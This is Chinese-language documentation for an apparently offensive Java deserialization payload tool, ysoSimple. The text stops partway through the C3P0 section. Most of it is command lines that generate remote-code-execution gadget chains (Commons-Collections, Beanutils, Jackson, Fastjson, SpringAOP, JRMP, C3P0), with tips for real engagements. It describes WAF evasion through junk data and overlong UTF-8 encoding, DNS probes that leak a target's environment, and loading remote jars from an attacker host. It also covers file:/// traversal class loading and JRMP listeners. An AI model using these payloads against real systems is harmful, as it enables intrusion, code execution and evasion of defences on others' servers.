阅读文档开始使用ysoSimple
下面会介绍常见的利用链以及工具使用方式,后面遇到会慢慢补充
工具不是万能的,工具写的再详细也不一定在复杂的实际环境中一蹴而就。ysoSimple工具只能解决大多数的情况。有些关于Java中利用链和类的细节工具还是没集成进去的。
- BadAttributeValueExpException仅能使用在jdk8-14。再YsoAttack模块中Fastjson1,Fastjson2,Jackson利用链使用的toString头还是BadAttributeValueExpException,实战中遇到jdk较低或者jdk较高版本打这些利用链时候需要注意。
YsoAttack模块设定的额外参数:
- dirt-data-length:序列化内容增加脏数据
- utf8-bytes-mix:使用UTF-8 Overlong Encoding混淆,2字节/3字节混淆
- encode:参数值为Base64/Hex,用于编码输出
- writeToFile:将最终生成的内容写入到文件
- compress:对TemplatesImpl利用链压缩
- mysql-pcap:生成Mysql的Java序列化数据流文件
描述:将序列化对象放入ArrayList/LinkedList/HashMap/linkedHashMap/TreeMap数据类型中并在其中添加大量的垃圾字符来对抗WAF,具体原理可以学习c0ny1大师的Java反序列化数据绕WAF之加大量脏数据文章。
工具:添加-dirt-data-length参数,后面的参数值跟添加垃圾字符的数量
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -dirt-data-length 400描述:使用UTF8-Overlong Encoding模式对Java序列化数据进行混淆,该功能可以用来绕WAF。本部分代码参考Whoopsunix师傅的utf-8-overlong-encoding项目。
工具:添加-utf8-bytes-mix参数,后面的参数值选择2或者3,2表示使用2字节混淆,3表示3字节混淆
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -utf8-bytes-mix 2描述:使用GZIPOutputStream对Java序列化数据进行Gzip压缩,有些系统漏洞利用需要Gzip压缩,比如FineReport
工具:添加-gzip参数即可,没有参数值
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -gzip描述:使用encode参数对Java序列化数据进行编码,支持Base64编码,Hex编码输出
工具:
- -encode="Base64" :标准的Base64编码,会带有
+,/特殊符号 - -encode="Base64URL" :URL/文件名安全的Base64编码,
+和/分别替换为-和_ - -encode="Hex" :十六进制编码
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -encode="Base64URL"
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -encode="Base64"
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -encode="Hex"描述:Java原生反序列化利用链中涉及到TemplatesImpl链的是可以进行缩短,参考4ra1n师傅的终极Java反序列化Payload缩小技术和ShortPayload项目,总结就是如下缩小方式:使用ASM+Javassit操作字节码来缩小
TemplatesImpl加载的字节码缩小手段:
- ByteCodes字节码类中捕获的异常不处理
- LINENUMBER指令删除
- 使用javassist生成字节码
- 删除继承AbstractTranslet类需要重写的俩个方法(使用javassist生成的字节码自动没有重写)
TemplatesImpl链缩小手段:
- 设置_name属性是一个字符
- 其中_tfactory属性可以删除
工具:添加compress参数将会压缩TemplatesImpl利用链
-m YsoAttack -g CommonsBeanutils2 -compress -a "Templateslmpl:auto_cmd:calc"YsoSimple工具中TemplatesImpl:命令生成的字节码类需要继承AbstractTranslet类。Templateslmpl0:命令生成的字节码类不需要继承AbstractTranslet类,但是该场景下不支持compress压缩。
描述:Mysql的Jdbc连接时的不出网的利用,将生成的流量文件利用文件上传漏洞传入到目标服务器,然后利用jdbc连接的方式触发漏洞。可以执行漏洞利用的客户端的版本:
| mysql-connector-java版本 | JDBC连接串 | 流量包版本 |
|---|---|---|
| 5.1.11-5.1.18(包含俩边界) | jdbc:mysql://ceshihost/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath={filePath} | Version1 |
| 5.1.19-5.1.28(包含俩边界) | jdbc:mysql://ceshihost/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath={filePath} | Version2 |
| 5.1.29-5.1.48(包含俩边界) | jdbc:mysql://ceshihost/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath={filePath} | Version2 |
| 6.0.2-6.0.6(包含俩边界) | jdbc:mysql://ceshihost/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath={filePath} | Version2 |
| 8.0.11-8.0.19(11可以,19可以,20不行) | jdbc:mysql://ceshihost/test?&maxAllowedPacket=74996390&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath={filePath} | Version3 |
注意事项:因为流量包的制作不单与mysql-connector-java版本有关也和jdbc连接串中的用户名有关,ysoSimple工具的mysql-pcap会根据提供的mysql-connector-java版本同时生成jdbc连接串和流量包,漏洞利用过程中不要轻易更改jdbc连接串。
工具:使用方式如下,在mysql-pcap参数后面跟mysql-connector-java依赖的版本:
-m YsoAttack -g CommonsBeanutils2_110 -a "Templateslmpl:auto_cmd:calc" -mysql-pcap 5.1.13 -writeToFile="./5.1.13.bin"
-m YsoAttack -g CommonsBeanutils2_110 -a "Templateslmpl:auto_cmd:calc" -mysql-pcap 5.1.20 -writeToFile="./5.1.20.bin"
-m YsoAttack -g CommonsBeanutils2_110 -a "Templateslmpl:auto_cmd:calc" -mysql-pcap 5.1.36 -writeToFile="./5.1.36.bin"
-m YsoAttack -g CommonsBeanutils2_110 -a "Templateslmpl:auto_cmd:calc" -mysql-pcap 6.0.5 -writeToFile="./6.0.5.bin"
-m YsoAttack -g CommonsBeanutils2_110 -a "Templateslmpl:auto_cmd:calc" -mysql-pcap 8.0.11 -writeToFile="./8.0.11.bin"描述:将YsoAttack引擎生成的序列化的数据写入到文件中
工具:添加writeToFile参数,参数值为将内容写入的文件名
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -writeToFile="/tmp/CB2.ser"描述:检测Java反序列化漏洞是否存在,或者测试目标环境是否dns出网
工具:使用方式如下:dns域名前面需要加http://协议头
-m YsoAttack -g URLDNS -a "http://tonjwpkypp.dgrh3.cn"描述:在不出网的情况下测试Java反序列化漏洞是否存在,或者延迟探测目标是否有某个类。使用时注意设置深度,一般定在25-28之间,太大会导致dos。具体反序列化炸弹的原理可参考c0ny1师傅的构造java探测class反序列化gadget文章。
工具:竖杠前面时类名,后面是反序列化的深度
-m YsoAttack -g FindClassByBomb -a "java.lang.String|20"描述:在不出网情况下测试Java反序列化漏洞是否存在,或者延迟探测目标是否有某个类。在CB依赖的15和16版本中类没有区别,但是在BeanComparator类suid不同,所以此时已经无法再只类名来延迟判断版本了,可使用javassist根据类名和serialVersionUID动态生成类然后序列化发送来探测。
工具:以竖杠来分割,参数分别为类名,suid值,探测深度。
-m YsoAttack -g FindClassByBombSuid -a "org.apache.commons.beanutils.BeanComparator|1L|24"描述:用DNS形式探测目标系统中是否存在某个类
工具:使用方式如下:竖杠前是dns地址,后面是类名,dns域名前面需要加http://协议头
-m YsoAttack -g FindClassByDNS -a "http://string.dnslog.cn|java.lang.String"描述:使用DNS来探测目标系统的JDK版本,操作系统版本,反序列化依赖,中间件等,参考自:kezibei-Urldns
工具:在冒号前面写dns的域名,冒号后写探测的内容
- 使用all探测 FindGadgetByDNS 能探测的所有内容
-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:all"- 使用jndiall探测jndi攻击模式涉及的类是否存在
-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:jndiall"- 可以选择性探测类,用竖杠|分割开来
-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:Tomcat|bes|tongweb|Tomcat6|undertow"中间件
- Tomcat 9 及以下默认使用
javax.servlet.*API。打内存马选择正常 Filter 和 Listener。 - Tomcat 10+ 切换到
jakarta.servlet.*API。打内存马选择 JakartaFilter 和 JakartaListener。 - 使用Tomcat模式在Tomcat6和Tomcat10应用场景下都会有DNS响应,要更精细化区分选择Tomcat版本来探测。
Tomcat|Tomcat6|Tomcat10|Weblogic|WebSphere|jetty12|jetty|Glassfish|resin|undertow|Jboss|Wildfly|netty|jindie|tongweb|bes利用链
CommonsCollections13567|CommonsCollections24|CommonsBeanutils2|C3P0|AspectJWeaver|bsh|Groovy|Becl|DefiningClassLoader|Jdk7u21|JRE8u20|ROME|Fastjson|Jackson|SpringAOPJDK
jdk17_22|jdk9_22|jdk6_8|jdk6_11|jdk9_10操作系统
winlinux- 探测指定类是否存在
-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:sun.misc.BASE64Decoder"描述:通过调用TemplatesImpl的getOutputProperties方法来RCE,需要引入rhino组件依赖,学习参考Mozilla Rhino反序列化利用链学习
工具:使用方式:
-m YsoAttack -g MozillaRhino1 -a "auto_cmd:calc"描述:通过调用TemplatesImpl的getOutputProperties方法来RCE,需要引入rhino组件依赖,学习参考Mozilla Rhino 反序列化漏洞 POC 分析
工具:使用方式:
-m YsoAttack -g MozillaRhino2 -a "auto_cmd:calc"描述:利用js Engine来触发最终的漏洞利用
工具:js Engine使用Unsafe的方式来加载,区分jdk6和其他jdk版本的原因是jdk6的Unsafe没有defineAnonymousClass该fang'f
-m YsoAttack -g MozillaRhino3 -a "jdk6:auto_cmd:calc"
-m YsoAttack -g MozillaRhino3 -a "jdk:auto_cmd:calc"JRMP是RMI通信的时候使用协议,该协议传输数据时候通过Java序列化协议来操作。JRMP系列打法步骤如下:
- 通过让目标站点反序列化JRMPListener/JRMPClient利用链
- 攻击机直连目标或者目标反连攻击机来向目标站点传输序列化数据
- 目标站点将该数据反序列化从而导致反序列化漏洞。
JRMP利用链的打法相当于利用JRMP协议进行二次反序列化,该利用链有以下特点:
- 需要目标环境出网才能利用
- 利用链短小精悍,JDK原生且因为是二次反序列化能避免初次反序列化限制
- 有JDK版本限制,最好用的JRMPClient2也需要JDK<8u241
参考学习自:从ysoserial讲RMI/JRMP反序列化漏洞
限制:在jep290后就不能用了,JDK 7u131 JDK 8u121 以后
让目标机反序列化如下Payload,它将会开启2333端口监听。这个攻击主要会开启端口监听也不知道怎么关,实战中还是慎用吧
-m YsoAttack -g JRMPListener -a "2333"运行下面的逻辑让Client发送CommonsBeanutils2利用链到目标机触发二次反序列化
java -cp ysoSimple.jar cn.butler.yso.exploit.JRMPClient 127.0.0.1 2333 CommonsBeanutils2 "Templateslmpl:auto_cmd:calc"相比于上面的利用链需要目标站点开启监听端口,exploit.JRMPListener的打法只需要目标站点反连攻击机就行且在JDK中适用的版本更广。
java -cp ysoSimple.jar cn.butler.yso.exploit.JRMPListener 2333 CommonsBeanutils2 "Templateslmpl:auto_cmd:calc"描述:在java.rmi.server.RemoteObjectInvocationHandler JEP290(8u121)默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,而最底层的JRMP是没有做过滤器的,所以使用 JRMPClient 可以绕过 JEP290 JRMPClient 反序列化漏洞点: sun.rmi.transport.StreamRemoteCall#executeCall,JRMP客户端反序列化顺序:
- 反序列化服务端给的returnType
- 反序列化服务端给的一个ID
- 反序列化服务端给的报错信息(Payload位置)
限制:jdk < 8u231
-m YsoAttack -g JRMPClient -a "127.0.0.1:2333"描述:JRMPClient可以绕过JEP290的限制,但是在jdk8u231时候官方有了俩条修复:
- 在RegistryImpl_Skel#dispatch中每个case中增加了ClassCastException,执行到反序列化时因为反序列化返回的对象类型不是String而报错。
- 在DGCImpl_Stub#dirty之后UnicastRef.invoke之前增加了一个过滤器:
StreamRemoteCall#setObjectInputFilter
绕过jdk8u231的修复:在满足条件的类的readObject代码中找到同样能发起JRMP请求的地方,并且不经过DGCImpl_Stub#dirty方法直接触发JRMP协议,找到的类就是UnicastRemoteObject
限制:jdk < 8u241
-m YsoAttack -g JRMPClient2 -a "127.0.0.1:2333"用RMIConnectionImpl_Stub替换RemoteObjectInvocationHandler,还没研究暂时先不写了.....
根据网上文章调用链构造代码如下:
public Object getObject() throws Exception {
String host;
int port;
int sep = this.address.indexOf(58);
if (sep < 0) {
port = new Random().nextInt(65535);
host = this.address;
} else {
host = this.address.substring(0, sep);
port = Integer.valueOf(this.address.substring(sep + 1)).intValue();
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);
return obj;
}Java反序列化触发Getter方法进行漏洞利用是Java反序列化漏洞利用中很常见的打法,能够触发Getter方法的利用链有:
- Jackson:需要Jackson版本适合才能触发
- Fastjson:分为Fastjson1和Fastjson2利用链
- CommonsBeautils:1.5 1.6 1.7 1.8 1.9
- ....
Getter利用链的漏洞利用方式:
- JDBCAttack
- JdbcRowImpl:有条件限制,还没研究
- LdapAttribute:ldap攻击
- SignedObject:二次Java反序列化
- TemplatesImpl#getOutputProperties:加载字节码实现代码执行
能够触发Getter方法的利用链和Getter利用链的利用方式是多对多关系,所以下面的几种利用链生成方式只介绍Jackson,其他的以此类推:
描述:关于Jackson链的注意事项:
- 需要Jackson依赖:com.fasterxml.jackson.core:jackson-databind>2.9
- 该链的稳定性:BadAttributeValueExpException#readObject() => POJONode#toString() => getter,会随机顺序调用对象所有字段中的getter方法。因为获取的顺序的不稳定性,有时 outputProperties 会在 stylesheetDOM 之前,这个时候反序列化攻击可以成功。可以使用JacksonTWrap来提高稳定性,但是这样就无法利用除Templateslmpl以外的漏洞利用方式。(TemplatesImpl和TemplatesImpl0俩种方式切换着利用)
描述:在利用Templateslmpl利用链进行漏洞利用时候需要注意以下几点:
-
Templateslmpl加载字节码jdk编译版本<=目标环境jdk编译版本:利用TemplatesImpl执行字节码在实战中的踩坑记录
- javassist支持的字节码编译版本:主版本号49-55(jdk1.5-jdk11)
- jdk执行字节码向下兼容,所以javassist选取最低的jdk编译版本就行
工具:使用方式如下
-m YsoAttack -g Jackson -a "Templateslmpl:auto_cmd:calc"这里的auto_cmd参数可以替换为字节码执行的多种漏洞利用效果参数,详情见漏洞利用参数整理一栏。
举个Templateslmpl加载外部字节码的例子:
-m YsoAttack -g Jackson -a "Templateslmpl:class_file:/tmp/KeyUtils.class"描述:TemplatesImpl加载的字节码需要继承AbstractTranslet类,但经过yulegeyu师傅的研究通过配置TemplatesImpl对象可以让字节码无需继承AbstractTranslet也可以类加载,参考自Java安全攻防之从wsProxy到AbstractTranslet
限制:目前ysoSimple还不支持-compress对TemplatesImpl0和其加载的字节码进行压缩,后面研究下
工具:使用Templateslmpl0:加载的字节码类不需要继承AbstractTranslet类
-m YsoAttack -g Jackson -a "Templateslmpl0:auto_cmd:calc"这里的auto_cmd参数可以替换为字节码执行的多种漏洞利用效果参数,详情见漏洞利用参数整理一栏。
描述:二次反序列化打法通常都是为了避免第一层反序列化时遇到的黑名单,而SignedObject的getObject方法可以触发二次反序列化。比较经典的案例就是帆软反序列化:帆软channel接口反序列化漏洞分析
工具:使用SignedObject:参数后面跟二次反序列的利用链
-m YsoAttack -g Jackson -a "SignedObject:CommonsCollections6:raw_cmd:calc"
-m YsoAttack -g Jackson -a "SignedObject:FastJson1:Templateslmpl:raw_cmd:calc" -encode="Base64"描述:通过LdapAttribute#getAttributeDefinition可以触发ldap注入,学习自:Real Wolrd CTF Old System New Getter Jndi Gadget,rwctf-2021-old-system-writeup
限制:在LdapAttribute参数后面跟的ldap的地址必须是ldap://127.0.0.1:1389,没有后缀。RealWolrd赛题是jdk1.4,在jdk1.8中也测试成功
工具:增加LdapAttribute配置参数,ldap地址后面没有后缀
-m YsoAttack -g Jackson -a "LdapAttribute:ldap://127.0.0.1:1389"将JNDI引擎需要这样启动,即可进行漏洞利用:
-m JNDIAttack -i 127.0.0.1 -u /Basic/auto_cmd/Y2FsYw==描述:JacksonTWrap 使用 JdkDynamicAopProxy 来动态代理 Templateslmpl 让 Jackson 利用链稳定触发,因为动态代理代理的类必须用接口来描述,所以只能动态代理 Templateslmpl 漏洞利用链。SignedObject,LdapAttribute利用链因为没有实现的接口也就无法用 JdkDynamicAopProxy 来稳定触发了。
工具:只支持 Templateslmpl 漏洞利用
-m YsoAttack -g JacksonTWrap -a "Templateslmpl:auto_cmd:calc"
-m YsoAttack -g JacksonTWrap -a "Templateslmpl0:auto_cmd:calc"描述:FastJson1.x系列的利用链,通过JSONArray的toString方法来触发getter利用链
工具:支持getter系列的TemplatesImpl/TemplatesImpl0/SignedObject/LdapAttribute打法
-m YsoAttack -g FastJson1 -a "Templateslmpl:auto_cmd:calc"描述:FastJson2系列的利用链,通过JSONArray的toString方法来触发getter利用链
工具:支持getter系列的TemplatesImpl/TemplatesImpl0/SignedObject/LdapAttribute打法
-m YsoAttack -g FastJson2 -a "Templateslmpl:auto_cmd:calc"CommonsBeanutils利用链很常见但是比较麻烦的是,CB依赖版本不同时BeanComparator类的suid不同。ysoSimple支持以下几种CB依赖的利用:
| ysoSimple利用链 | 需要的依赖 | BeanComparator suid | 备注 |
|---|---|---|---|
| CommonsBeanutils2 | commons-logging,commons-beanutils:1.9.2 | -2044202215314119608L | 1.9 系列的BeanComparator类suid都一样 |
| CommonsBeanutils2_183 | commons-logging,commons-beanutils:1.8.3 | -3490850999041592962L | 1.7 和 1.8 类的BeanComparator类suid都一样 |
| CommonsBeanutils2_16 | commons-logging,commons-beanutils:1.6 | 2573799559215537819L | 1.6 系列的BeanComparator类suid都一样 |
| CommonsBeanutils2_15 | commons-logging,commons-beanutils:1.5 | 5123381023979609048L | 1.5 系列的BeanComparator类suid都一样 |
| CommonsBeanutils2_110 | commons-logging,commons-beanutils:1.10.0 | 1L | 1.10系列的BeanComparator类suid都一样 |
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc"-m YsoAttack -g CommonsBeanutils2_183 -a "Templateslmpl:auto_cmd:calc"-m YsoAttack -g CommonsBeanutils2_16 -a "Templateslmpl:auto_cmd:calc"-m YsoAttack -g CommonsBeanutils2_15 -a "Templateslmpl:auto_cmd:calc"-m YsoAttack -g CommonsBeanutils2_110 -a "Templateslmpl:auto_cmd:calc"CommonsCollections利用链能被Java反序列化利用的原因是其中的Transformer系列可以被序列化并且他们重写readObject方法然后自身有对Java反射API进行封装从而导致可以被恶意利用。
描述:通过CommonsCollections依赖库中的InvokerTransformer来反射调用TemplatesImpl利用链从而触发代码执行。工具中的CommonsCollections2/CommonsCollections3/CommonsCollections4/CommonsCollections8/CommonsCollections10/CommonsCollections11/CommonsCollectionsK1都是TemplatesImpl利用链
工具:以CommonsCollections3利用链来举例,实战中遇到CC321建议每个链都试一试,CC3加载TemplatesImpl利用链更稳定??
-m YsoAttack -g CommonsCollections3 -a "Templateslmpl:raw_cmd:calc"这里的raw_cmd参数可以替换为字节码执行的多种漏洞利用效果参数。
描述:通过CommonsCollections依赖库中的InvokerTransformer来调用多种JavaAPI来实现漏洞利用。工具中的CommonsCollections1/CommonsCollections5/CommonsCollections6/CommonsCollections6Lite/CommonsCollections7/CommonsCollections9都是通过多种JavaAPI来实现漏洞利用
工具:以CommonsCollections1利用链来举例
-m YsoAttack -g CommonsCollections1 -a "raw_cmd:calc"这里的raw_cmd参数可以替换为CC链的漏洞利用效果参数。
描述:在CommonsCollections4依赖库中CommonsCollectionsK2利用链是通过的InvokerTransformer反射调用TemplatesImpl利用链来触发代码执行。
工具:以CommonsCollectionsK2利用链来举例
-m YsoAttack -g CommonsCollectionsK2 -a "Templateslmpl:raw_cmd:calc"这里的raw_cmd参数可以替换为字节码执行的多种漏洞利用效果参数。
描述:通过CommonsCollections4依赖库中的InvokerTransformer来调用多种JavaAPI来实现漏洞利用。工具中的CommonsCollectionsK3/CommonsCollectionsK4都是通过多种JavaAPI来实现漏洞利用
工具:以CommonsCollectionsK3利用链来举例
-m YsoAttack -g CommonsCollectionsK3 -a "raw_cmd:calc"这里的raw_cmd参数可以替换为CC链的多种漏洞利用效果参数。
其实这个类可以不是Templateslmpl利用方式,LdapAttribute也可以:https://xz.aliyun.com/news/90792
描述:这条链其实也可以叫做Jackson利用链,利用链的触发流程和Jackson基本一样。但是区分开来主要是该链针对JDK高版本反序列化而设计的:通过SpringAOP包的动态代理类绕过模块化的限制,使用XString头触发POJONode的toString方法,TemplatesImpl加载的类不继承AbstractTranslet接口。
工具:只能用Templateslmpl0来触发字节码加载
#DefaultAdvisorChainFactory: serialVersionUID = 273003553246259276L
-m YsoAttack -g SpringAop1 -a "Templateslmpl0:auto_cmd:calc" -encode="Base64"
#DefaultAdvisorChainFactory: serialVersionUID = 6115154060221772279L
-m YsoAttack -g SpringAop2 -a "Templateslmpl0:auto_cmd:calc" -encode="Base64"笔记:简单记录些关于这条链的信息
- 调用栈:
Hashmap#readobject
XString#equals 直接触发
com.fasterxml.jackson.databind.node.POJONode#toString
---利用SpringAOP动态代理Proxy方式稳定触发TemplatesImpl的Get方法---
(Proxy)java.lang.reflect.Proxy---(InvocationHandler)org.springframework.aop.framework.JdkDynamicAopProxy#invoke
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
- 绕过模块化限制:使用spring-aop中的JdkDynamicAopProxy来代理javax.xml.transform.Templates, 这样在 出发getoutputProperties时,moudle就是变为了javax.xml.transform 在⼀个包下,绕过了moudle模块化限制。
ClassPool pool = ClassPool.getDefault();
//使用AdvisedSupport代理TemplatesImpl绕过高版本jdk的模块化检测
Class<?> jdkDynamicAopProxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Class<?> advisedSupportClass = Class.forName("org.springframework.aop.framework.AdvisedSupport");
Constructor<?> constructor = jdkDynamicAopProxyClass.getConstructor(advisedSupportClass);
constructor.setAccessible(true);
Object advisedSupport = advisedSupportClass.newInstance();
Method setTarget = advisedSupport.getClass().getMethod("setTarget", Object.class);
setTarget.invoke(advisedSupport, templates);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[] {Templates.class},(InvocationHandler)invocationHandler);- org.springframework.aop.framework.DefaultAdvisorChainFactory 类在不同的spring-aop版本中suid值会不同,通过粗略整理发现可能存在俩种suid值。所以ysoSimple写了SpringAop1和SpringAop2
serialver -classpath E:\apache-maven-3.6.1\mvn-repo\org\springframework\spring-aop\6.0.13\spring-aop-6.0.13.jar org.springframework.aop.framework.DefaultAdvisorChainFactory
org.springframework.aop.framework.DefaultAdvisorChainFactory: private static final long serialVersionUID = 273003553246259276L;
serialver -classpath E:\apache-maven-3.6.1\mvn-repo\org\springframework\spring-aop\5.2.5.RELEASE\spring-aop-5.2.5.RELEASE.jar org.springframework.aop.framework.DefaultAdvisorChainFactory
org.springframework.aop.framework.DefaultAdvisorChainFactory: private static final long serialVersionUID = 6115154060221772279L;
-
触发POJONode#toString的头选择,可以触发toString的反序列化起始点很多但是在JDK高版本下因为一些原因需要做选择
- javax.swing.event.EventListenerList的suid:jdk17计算出来和jdk8计算出来不一样,ysoSimple使用jdk8生成利用链数据,所以不使用它作为序列化头
- UIDefaults$TextAndMnemonicHashMap的suid:jdk17计算出来和jdk8计算出来不一样
- BadAttributeValueExpException在jdk高版本下已经无法再触发toSting
-
关于com.fasterxml.jackson.databind.node.POJONode的可序列化性,该类不是在jackson-databind版本中都可以序列化的,需要jackson-databind>=2.10.0才能序列化
jackson-2.9.10.1 com.fasterxml.jackson.databind.node.POJONode BaseJsonNode 没有继承Serializable接口
jackson-2.14.2 com.fasterxml.jackson.databind.node.POJONode BaseJsonNode 继承Serializable接口
-
TemplatesImpl 利用链加载的类不能继承 AbstractTranslet,因为在JDK高版本下会涉及到模块化的检测导致报错。
-
拓展利用链:像CB,Jackson,Fastjson这种利用 TemplatesImpl做漏洞利用的链子,其实都可以使用SpringAOP动态代理(JdkDynamicAopProxy)方式稳定触发TemplatesImpl#getOutputProperties,从而实现JDK高版本反序列化的利用。实战中遇到具体情况具体分析利用。
-
生成序列化数据:如果是jdk高版本生成利用链需要带下面参数。jdk8生成的话就不需要加:
--add-opens java.base/java.io=ALL-UNNAMED
所以使用 SpringAop 高版本Java利用链时需要关注以下几点:
- TemplatesImpl 不继承 AbstractTranslet
- CB,Jackson,Fastjson使用SpringAOP动态代理(JdkDynamicAopProxy)Proxy方式稳定触发TemplatesImpl#getOutputProperties
- Jackson的版本需要jackson-databind>=2.10.0
- org.springframework.aop.framework.DefaultAdvisorChainFactory 版本不同suid也会不同,目前测出来有俩种suid
- Jackson,Fastjson的触发头用XString来触发toString方法来解决suid问题
- 被舍弃的触发toString头:
- BadAttributeValueExpException仅能使用在jdk8-14,在更高的jdk版本无法触发toSting
- EventListenerList在不同jdk版本的编译下suid不同,所以jdk8生成的suid不能在jdk17使用
- UIDefaults$TextAndMnemonicHashMap在不同jdk版本的编译下suid不同(未测试),所以jdk8生成的suid不能在jdk17使用
C3P0依赖下的Java反序列化有3种类型的攻击链:关于C3P0的些打法可以先学习:https://www.cnblogs.com/BUTLER/p/17473487.html
- Jndi 注入:C3P01 生成序列化流比较复杂目前未集成
- URLCLassLoader 远程类加载:C3P02,C3P02_c3p0
- Reference注入:C3P03,C3P03_c3p0
另外网上存在两种C3P0依赖,com.mchange:c3p0、c3p0:c3p0。两个C3P0都能够利用但是俩者的SUID不同。
| ysoSimple利用链 | 需要的依赖 | PoolBackedDataSource suid | JndiRefConnectionPoolDataSource |
|---|---|---|---|
| C3P02 | com.mchange:c3p0 | -2440162180985815128L |
6594570032105297376L |
| C3P02_c3p0 | c3p0:c3p0 | 7387108436934414104L |
5807565096136484351L |
突然发现 c3p0:c3p0 老旧版本的PoolBackedDataSource suid和新版还不一样,先不写利用链了后面遇到再写。后面打算作为参数搞
c3p0:c3p0 PoolBackedDataSource
0.8.5.2: -7540256409981171067
0.8.4.5: 2134623495585503200
0.9.0: 1L
0.9.0.2: 1L
0.9.0.4: 1L
URLCLassLoader 远程类加载和 Reference注入的调用栈都是下面这样的:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)上面说过两种C3P0依赖suid不一样,俩个依赖在ReferenceableUtils#referenceToObject处的代码也是不一样的
- c3p0:c3p0 中的ReferenceableUtils#referenceToObject:URLClassLoader 指定URL进行类加载,上层类加载器为系统类加载器SystemClassLoader
- com.mchange:c3p0 中的ReferenceableUtils#referenceToObject:URLClassLoader 指定URL进行类加载,上层类加载器为线程上下文类加载器
- 实战利用中如果目标出网更推荐使用C3P02远程类加载方式进行利用。
- 如果目标不出网且存在依赖是 com.mchange:c3p0,推荐使用不出网Reference注入攻击。
- 如果目标不出网且存在依赖是 c3p0:c3p0,先通过其他方式写class或者jar然后再通过URLClassLoader类嵌套file:///协议来加载该class或者jar文件。
关于URLClassLoader类加载的小技巧,对于file协议来说它加载的不一定要是.class和.jar文件。也可以是目录也可以是其他后缀名,具体看下面的记录:
落地文件内容是jar包情况
lcation = "file:///../../../../../../../../../../../../tmp/"; //文件名后缀是jar不可以加载字节码类成功,文件名后缀是tmp不可以加载字节码类成功
lcation = "file:///../../../../../../../../../../../../tmp/T32448485776400.jar"; //可以加载字节码类成功
lcation = "file:///../../../../../../../../../../../../tmp/T32448485776400.tmp"; //可以加载字节码类成功
落地文件内容是class文件情况
lcation = "file:///../../../../../../../../../../../../tmp/"; //文件名后缀是class可以加载字节码类成功,文件名后缀是tmp不可以加载字节码类成功
lcation = "file:///../../../../../../../../../../../../tmp/T31147297087600.class"; //可以加载字节码类成功
lcation = "file:///../../../../../../../../../../../../tmp/T31147297087600.tmp"; //不可以加载字节码类成功描述:远程类加载漏洞利用链的调用栈和下面Reference注入的调用栈都是一样的,只是漏洞利用手法不一样。使用该漏洞利用链打一次后因为类已经被加载到内存中,所以如果要切换漏洞利用效果需要重新设定类名和Jar包名。
工具:使用方式如下:
# com.mchange:c3p0
-m YsoAttack -g C3P02 -a "http://127.0.0.1:2333/T32150077959500.jar|T32150077959500"
# c3p0:c3p0
-m YsoAttack -g C3P02_c3p0 -a "http://127.0.0.1:2333/T32150077959500.jar|T32150077959500"
-m YsoAttack -g C3P02_c3p0 -a "http://127.0.0.1:2333/EncryptionUtil.jar|ch.qos.logback.qd.EncryptionUtil"
-m YsoAttack -g C3P02_c3p0 -a "file:///../../../../../../../../../../../../T32448485776400.tmp|T32448485776400"描述:C3P0利用链可以不出网Reference注入利用,关于利用链的构造可以学习yulegeyu师傅的JAVA反序列化之C3P0不出网利用文章。
- 对于 com.mchange:c3p0来说ReferenceableUtils#referenceToObject 是用 URLClassLoader + Thread.currentThread().getContextClassLoader() 来进行Reference类加载,所以目标依赖是com.mchange:c3p0这个利用Reference注入多数情况下可以利用成功。c3p0:c3p0 使用 URLClassLoader+ SystemClassLoader 来Reference类加载,所以目标c3p0:c3p0这时候用Reference注入不一定成功。
- 漏洞利用的时候可引用JNDIAttack模块的Reference本地工厂类。而因为JNDIAttack模块有些Refernce工厂类漏洞利用又是出网的(如:Snakeyaml),所以实际攻防时还需要注意构造合适的args参数
工具:使用方式如下:参数直接写Reference打法的路由。注意Refernce的最后路径利用参数需要Base64编码,否则生成Payload会有问题。
# com.mchange:c3p0
